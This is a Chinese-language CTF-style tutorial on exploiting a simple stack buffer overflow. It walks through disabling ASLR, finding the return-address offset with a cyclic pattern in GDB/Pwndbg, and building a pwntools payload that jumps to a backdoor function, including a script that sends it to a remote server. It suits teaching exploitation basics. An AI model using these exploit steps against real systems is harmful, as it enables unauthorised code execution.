1. 关闭 ASLR（避免地址随机化）

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

2. 调试与偏移计算

2.1 生成测试输入：

```
from pwn import *
open('input.txt', 'wb').write(cyclic(100))
```

可以直接在终端输入 `python3 -c "from pwn import *; open('input.txt', 'wb').write(cyclic(100))"`
生成 100 字节的测试输入(cyclic pattern)（默认 n=4 模式）

2.2 用 GDB + Pwndbg 运行程序并触发崩溃

在shell中 `gdb ./fileName` 进入gdb后 *`r < input.txt`*[1]
[1] `r`是gdb命令中run的缩写 `< input.txt`是 Shell 的输入重定向语法，虽然写在 GDB 里,但 GDB 支持它
*它告诉操作系统：**不要从键盘读取输入，而是从 `input.txt` 文件中读取内容，并"喂"给程序***

2.3 从崩溃现场提取关键信息

崩溃后，Pwndbg 会显示寄存器和栈内容。重点关注：

2.3.1 方法 A：看 `RSP` 指向的返回地址（推荐）

```
──────────────────────────[ REGISTERS ]──────────────────────────
RSP  0x7fffffffe308 ◂— 'agaaahaaaiaaaj...'
```

- `RSP` 指向的就是**即将被 `ret` 弹出的返回地址**
- 取前 **4 个字符**（因为 cyclic 默认 n=4）→ 例如 `'agaa'`

2.3.2 方法 B：看 `RIP` 下方的 `<0x...>` 提示

```
▶ 0x401185 <main+67>    ret    <0x6161686161616761>
```

将`0x6161686161616761`**按小端序**转为字节：

- 内存顺序：`61 67 61 61 61 68 61 61`
- 前 4 字节：`61 67 61 61` → ASCII = `'agaa'`

> 关键原则：取返回地址在内存中的前 4 字节（小端序），作为字符串查找

2.4 计算偏移量

使用 `cyclic_find`，**不要指定** `n=8`（除非你明确用 `cyclic(100, n=8)` 生成）：

```
python3 -c "from pwn import *;
print(cyclic_find(b'agaa'))"
```

输出示例： `23`

这个数字就是偏移量（offset）
→ 表示：**前 23 字节是填充，第 24~31 字节覆盖返回地址**

3. 构造最终 Payload

3.1 1. 确定目标函数地址

通过 IDA、Ghidra 或 `objdump` 找到后门函数（如 `fun`）的地址：

```
$ objdump -t pwn1 | grep fun
0000000000401186 g     F .text  0000000000000010
   fun
```

→ 地址 = `0x401186`

3.2 2. 编写 payload

```
payload = b"A" * 23 + p64(0x401186)
```

3.3 3. 本地验证（可选）

```
python3 -c "from pwn import *; open('payload',
'wb').write(b'A'*23 + p64(0x401186))"
gdb ./pwn1
(pwndbg) r < payload
```

如果程序跳转到 `fun` 并弹 shell 或打印 flag，说明成功！

3.4 4. 攻击远程服务器

```
from pwn import *
# 连接远程
r = remote("ip", port)
# 构造 payload
payload = b"A" * 23 + p64(0x401186)
# 发送
r.sendline(payload)
# 交互拿 flag
r.interactive()
```